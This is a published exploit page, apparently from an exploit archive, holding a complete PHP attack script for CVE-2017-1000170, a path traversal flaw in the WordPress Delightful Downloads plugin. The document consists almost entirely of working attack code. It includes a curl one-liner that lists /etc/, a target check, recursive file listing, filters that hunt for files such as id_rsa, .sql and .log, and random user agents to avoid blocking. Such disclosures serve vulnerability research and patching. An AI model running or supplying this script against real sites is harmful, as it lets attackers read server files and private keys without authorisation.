## https://sploitus.com/exploit?id=PACKETSTORM:161900
# Exploit Title: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
# Date: 19/03/2021
# Exploit Author: Nicholas Ferreira
# Vendor Homepage: https://github.com/A5hleyRich/delightful-downloads
# Version: <=1.6.6
# Tested on: Debian 11
# CVE : CVE-2017-1000170
# PHP version (exploit): 7.3.27
# POC: curl --data "dir=/etc/" http://example.com/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php
<?php
$vuln_file = "/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"; // do not change
$agents = ["Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.0; Trident/3.0)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X; sl-SI) AppleWebKit/531.37.3 (KHTML, like Gecko) Version/4.0.5 Mobile/8B119 Safari/6531.37.3",
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_6 rv:6.0) Gecko/20120629 Firefox/35.0",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.1)",
"Mozilla/5.0 (iPad; CPU OS 7_2_2 like Mac OS X; sl-SI) AppleWebKit/531.5.4 (KHTML, like Gecko) Version/3.0.5 Mobile/8B113 Safari/6531.5.4",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0) AppleWebKit/5321 (KHTML, like Gecko) Chrome/37.0.837.0 Mobile Safari/5321",
"Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/535.12.4 (KHTML, like Gecko) Version/5.1 Safari/535.12.4",
"Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X; en-US) AppleWebKit/531.18.4 (KHTML, like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.18.4",
"Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.12.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.12.4",
"Mozilla/5.0 (compatible; MSIE 5.0; Windows 98; Win 9x 4.90; Trident/5.0)",
"Opera/8.98 (Windows NT 5.0; en-US) Presto/2.11.268 Version/10.00",
"Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X; sl-SI) AppleWebKit/534.16.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B111 Safari/6534.16.2",
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100107 Firefox/36.0",
"Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.23.6 (KHTML, like Gecko) Version/4.0.2 Safari/535.23.6",
"Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20120805 Firefox/36.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:7.0) Gecko/20130123 Firefox/37.0",
"Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.1)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_9 rv:6.0) Gecko/20190226 Firefox/36.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/533.39.1 (KHTML, like Gecko) Version/4.0.3 Safari/533.39.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:4.0) Gecko/20160603 Firefox/37.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_9 rv:5.0; en-US) AppleWebKit/532.20.3 (KHTML, like Gecko) Version/4.0 Safari/532.20.3",
"Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/5340 (KHTML, like Gecko) Chrome/37.0.813.0 Mobile Safari/5340",
"Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00",
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362",
"Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00",
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1",
"Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00",
"Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00",
"Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)",
"Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00",
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0",
"Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7",
"Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341",
"Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00",
"Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00",
"Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X; en-US) AppleWebKit/535.7.5 (KHTML, like Gecko) Version/4.0.5 Mobile/8B115 Safari/6535.7.5",
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362",
"Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00",
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1",
"Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00",
"Mozilla/5.0 (Windows; U; Windows 98; Win 9x 4.90) AppleWebKit/535.13.4 (KHTML, like Gecko) Version/4.0.4 Safari/535.13.4",
"Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00",
"Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)",
"Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00",
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0",
"Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7",
"Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0",
"Opera/8.11 (X11; Linux x86_64; en-US) Presto/2.11.165 Version/11.00",
"Mozilla/5.0 (iPad; CPU OS 7_2_1 like Mac OS X; en-US) AppleWebKit/532.33.6 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6532.33.6",
"Opera/9.71 (X11; Linux x86_64; sl-SI) Presto/2.10.180 Version/11.00",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:5.0) Gecko/20130122 Firefox/36.0",
"Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Trident/3.0)",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows 95; Trident/4.1)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.1)",
"Opera/8.33 (X11; Linux x86_64; en-US) Presto/2.8.320 Version/12.00",
"Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20121221 Firefox/36.0",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_9 rv:4.0) Gecko/20200625 Firefox/35.0",
"Mozilla/5.0 (Windows NT 6.0; sl-SI; rv:1.9.0.20) Gecko/20200505 Firefox/37.0",
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/532.44.4 (KHTML, like Gecko) Version/5.0 Safari/532.44.4",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_9 rv:3.0) Gecko/20201229 Firefox/37.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.17.6 (KHTML, like Gecko) Version/4.1 Safari/531.17.6",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/5311 (KHTML, like Gecko) Chrome/38.0.877.0 Mobile Safari/5311",
"Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/531.4.3 (KHTML, like Gecko) Version/5.1 Safari/531.4.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0 rv:4.0) Gecko/20140118 Firefox/35.0",
"Mozilla/5.0 (Windows 95) AppleWebKit/5330 (KHTML, like Gecko) Chrome/36.0.847.0 Mobile Safari/5330",
"Opera/8.39 (Windows 98; sl-SI) Presto/2.9.202 Version/11.00",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5 rv:3.0; en-US) AppleWebKit/534.11.4 (KHTML, like Gecko) Version/5.0 Safari/534.11.4"];
function post_request($url, $data, $random_agent = 0){
global $agents;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array("dir" => $data));
#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); //debug w/ burp
if($random_agent){
curl_setopt($ch, CURLOPT_USERAGENT, $agents[rand(0,count($agents)-1)]);
}
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function parse_dir($str){ // by raina77ow =)
$contents = array();
$startFrom = $contentStart = $contentEnd = 0;
while (false !== ($contentStart = strpos($str, 'rel="', $startFrom))){
$contentStart += 5;
$contentEnd = strpos($str, '">', $contentStart);
if (false === $contentEnd){
break;
}
$contents[] = substr($str, $contentStart, $contentEnd - $contentStart);
$startFrom = $contentEnd + 2;
}
return $contents;
}
function list_files($url,$path, $recursive=0,$filter){
global $vuln_file;
global $recursive;
global $random_agent;
$exts = "";
$extensions = "";
$files = "";
(count($filter) > 0) ? $has_filter = 1 : $has_filter = 0;
$parsed = parse_dir(post_request($url.$vuln_file, $path, $random_agent)); // array tree
foreach($parsed as $file_or_folder){
if($has_filter){
foreach($filter as $filtered){
if(strpos($file_or_folder, $filtered) !== false){ //if the current file contains any of the filter
echo " ".$file_or_folder."\n";
continue;
}
if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder
if($recursive){ //if recursive flag is set, enter on each folder and do it
list_files($url, $file_or_folder, $recursive, $filter);
}
continue 2; // continue the outermost foreach
}
}
continue; // if has filter, always restart the loop here
}
if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder
if($recursive){ //if recursive flag is set, enter on each folder and do it
list_files($url, $file_or_folder, $recursive, $filter);
}else{
echo " ".$file_or_folder."\n"; //if it's not to be recursive, just print the folder name
}
}else{ //is a file
echo " ".$file_or_folder."\n";
}
continue;
}
}
function alert_user($target,$path, $recursive, $filter){ //scan the root of the server recursivelly can really be a pain
if($path == "/" && $recursive == 1){
echo red(" [i] WARNING: Scanning the root of the webserver recursivelly can
exceed the timeout limit, block your IP or even take down the server.
Are you sure you want to continue? [y/N] ");
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim(strtoupper($line)) != 'Y'){
echo "\n Aborted. Try running me without the recursion flag\n\n";
exit;
}
fclose($handle);
echo cyan("\n\n Ok, don't say I didn't warn you...\n");
}
list_files($target,$path, $recursive, $filter);
}
############################################################
function green($str){
return "\e[92m".$str."\e[0m";
}
function red($str){
return "\e[91m".$str."\e[0m";
}
function yellow($str){
return "\e[93m".$str."\e[0m";
}
function cyan($str){
return "\e[96m".$str."\e[0m";
}
function banner(){
echo "
_____ _ _ _ _ __ _ _______
| __ \ | (_) | | | | / _| | |__ __|
| | | | ___| |_ __ _| |__ | |_| |_ _ _| | | |_ __ ___ ___
| | | |/ _ \ | |/ _` | _ \| __| _| | | | | | | ยด__/ _ \/ _ \
| |__| | __/ | | (_| | | | | |_| | | |_| | | | | | | __/ __/
|_____/ \___|_|_|\__, |_| |_|\__|_| \__,_|_| |_|_| \___|\___|
__/ | ".green("Coder: ").yellow("Nicholas Ferreira")."
|___/ 0x7359
".cyan("Delightful Downloads - Jquery File Tree")."
Unauthenticated Path Traversal exploit ".
red("\n (CVE-2017-1000170)")."
";
}
// ======================= CHECKING =======================
$short_args = "u:h::p:r::f:a::";
$long_args = array("url:","help::","path:","recursive::","filter:","random-agent::");
$options = getopt($short_args, $long_args);
if($argc == 1){
die(banner()." Usage: php xpl_jqueryFileTree.php -u url [-x extensions] [-p path] [-r] [-h] [-a]\n\n Help: -h or --help\n\n");
}
if(isset($options['h']) || isset($options['help'])){
banner();
die( " Usage: php ".$argv[0]." -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: ".cyan($argv[0]." -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r")."
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
".cyan($argv[0]." -u victim.com -f .log,id_rsa -a -r")."
|
\-> This will search for all files named \"id_rsa\" or having the extension
\".log\" within all folders of the server, with random user-agents
".yellow("Tip: use \"php ..... | tee output\" to save the result to an output file")."
");
}
$random_agent = 0;
if(isset($options['a'])){
$random_agent = 1;
}elseif(isset($options['random-agent'])){
$random_agent = 1;
}
$target = "";
if(isset($options['u'])){
$target = $options['u'];
}elseif(isset($options['url'])){
$target = $options['url'];
}
$recursive = 0;
if(isset($options['r'])){
$recursive = 1;
}elseif(isset($options['recursive'])){
$recursive = 1;
}
$path = "/";
if(isset($options['p'])){
$path = $options['p'];
}elseif(isset($options['path'])){
$path = $options['p'];
}
if($path !== "/"){
if(!preg_match("#^\/.*\/$#", $path)){
$path = str_replace("//", "/", "/".$path."/"); // $path must be of the form /<path>/ for this to work, so lets force it
}
}
$extensions = "";
if(isset($options['f'])){
$extensions = $options['f']; //strings
}elseif(isset($options['filter'])){
$extensions = $options['filter']; //string
}
$filter = array();
if($extensions !== ""){
$filter = explode(",", $extensions);
}
// ========================= END CHECKING ==========================
function is_vulnerable($url){
global $vuln_file;
global $random_agent;
global $filter;
echo " [*] Target: ".$url."\n";
if(count($filter) > 0){
echo " [*] Filter: ".implode(", ", $filter)."\n\n";
}
echo cyan(" [i] Checking if the target is vulnerable...\n");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.$vuln_file);
curl_setopt($ch, CURLOPT_NOBODY, true); // HEAD request to vulnerable file
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if(substr($code,0,1) == 2){ // 2xx
echo yellow(" [i] HTTP response of vulnerable file is 2xx. May be vulnerable!\n");
$post = post_request($url.$vuln_file, "/", $random_agent);
if(preg_match_all("/jqueryfiletree.*(bin|boot|dev|etc|var|usr|windows|users|temp)/", strtolower($post))){
echo green(" [+] Target is vulnerable! Getting file list...\n\n");
return true;
}
echo red(" [-] Target is not vulnerable... =(\n\n");
}else{
echo red(" [-] Could not find a valid vulnerable file. Maybe it doesn't exist,
you don't have permission to read it or it is in another directory.\n");
}
return false;
}
banner();
if(is_vulnerable($target)){
global $filter;
alert_user($target,$path, $recursive, $filter);
echo green("\n [+] Done!\n\n");
}
?>